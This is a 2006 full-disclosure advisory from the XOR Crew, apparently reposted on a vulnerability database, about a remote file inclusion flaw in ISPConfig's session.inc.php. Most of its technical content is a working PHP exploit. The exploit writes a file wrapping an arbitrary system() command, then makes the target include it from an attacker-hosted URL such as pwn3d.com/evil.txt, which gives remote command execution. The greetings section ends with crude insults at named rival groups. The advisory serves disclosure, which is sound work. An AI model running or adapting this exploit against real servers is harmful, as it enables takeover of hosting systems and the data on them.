[Full-disclosure] [XPA] - ISPConfig <= 2.2.2 - Remote Command Execution Vulnerability

2006-05-07T00:00:00
ID SECURITYVULNS:DOC:12577
Type securityvulns
Reporter Securityvulns
Modified 2006-05-07T00:00:00

Description

======================================================================================= XOR Crew :: Security Advisory 5/6/2006 ======================================================================================= ISPConfig <= 2.2.2 - Remote Command Execution Vulnerability ======================================================================================= http://www.xorcrew.net/ http://www.xorcrew.net/ReZEN =======================================================================================

:: Summary

   Vendor       :  ISPConfig
   Vendor Site  :  http://www.ispconfig.org/
   Product&#40;s&#41;   :  ISPConfig
   Version&#40;s&#41;   :  All
   Severity     :  Medium/High
   Impact       :  Remote Command Execution
   Release Date :  5/6/2006
   Credits      :  ReZEN &#40;rezen &#40;a&#41; xorcrew &#40;.&#41; net&#41;

=======================================================================================

I. Description

ISPConfig is a fully-fledged solution for multi-domain Internet hosts, covering email, FTP, database and Web services through a nifty control panel. Throw in security, customer management and a billing solution, and it gets pretty attractive.

=======================================================================================

II. Synopsis

There is a remote file inclusion vulnerability that allows for remote command execution in the /lib/session.inc.php file. The bug is here:

include($go_info["server"]["classes_root"] . $go_info["server"]["dir_trenner"] ."ispconfig_template.lib.php");

the $go_info["server"]["classes_root"] variable is not set prior to being used in the include() function. The vendor and support team have been contacted.

=======================================================================================

Exploit code:

-----BEGIN-----

<?php /* ISPConfig Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, #subterrain, My gf url: http://www.xorcrew.net/ReZEN

example: turl: http://www.target.com/lib/session.inc.php?go_info[server][classes_root]= hurl: http://www.pwn3d.com/evil.txt?

*/

$cmd = $_POST["cmd"]; $turl = $_POST["turl"]; $hurl = $_POST["hurl"];

$form= "<form method=\"post\" action=\"".$PHP_SELF."\">" ."turl:<br><input type=\"text\" name=\"turl\" size=\"90\" value=\"".$turl."\"><br>" ."hurl:<br><input type=\"text\" name=\"hurl\" size=\"90\" value=\"".$hurl."\"><br>" ."cmd:<br><input type=\"text\" name=\"cmd\" size=\"90\" value=\"".$cmd."\"><br>" ."<input type=\"submit\" value=\"Submit\" name=\"submit\">" ."</form><HR WIDTH=\"650\" ALIGN=\"LEFT\">";

if (!isset($_POST['submit'])) {

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, "<?php system(\"echo ++BEGIN++\"); system(\"".$cmd."\"); system(\"echo ++END++\"); ?>"); fclose($file);

$file = fopen ($turl.$hurl, "r"); if (!$file) { echo "<p>Unable to get output.\n"; exit; }

echo $form;

while (!feof ($file)) { $line .= fgets ($file, 1024)."<br>"; } $tpos1 = strpos($line, "++BEGIN++"); $tpos2 = strpos($line, "++END++"); $tpos1 = $tpos1+strlen("++BEGIN++"); $tpos2 = $tpos2-$tpos1; $output = substr($line, $tpos1, $tpos2); echo $output;

} ?>

------END------

=======================================================================================

IV. Greets :>

All of xor, Infinity, stokhli, ajax, gml, my beautiful girlfriend.

!!!SP3C14L GR33TZ G03S 0UT T0 MY G00D FR13ND CIJFER!!!

!!!F*CK YOU to r0t der4444 cembo VietMafia (Pridels Sec Crew)!!!

=======================================================================================


Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/